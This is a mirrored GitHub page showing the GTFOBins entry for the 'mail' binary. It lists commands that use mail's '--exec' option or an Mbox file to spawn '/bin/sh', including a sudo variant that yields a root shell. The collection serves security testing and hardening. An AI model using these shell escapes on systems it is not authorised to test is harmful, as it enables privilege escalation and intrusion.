1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/mail.md
Jonathan Siegel dd9f4269ed Add the GNU version of mail
Close #54.
2019-02-19 11:27:35 +01:00

16 lines
395 B
Markdown

---
functions:
shell:
- description: GNU version only.
code: mail --exec='!/bin/sh'
- description: This creates a valid Mbox file which may be required by the binary.
code: |
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
mail -f $TF
!/bin/sh
sudo:
- description: GNU version only.
code: sudo mail --exec='!/bin/sh'
---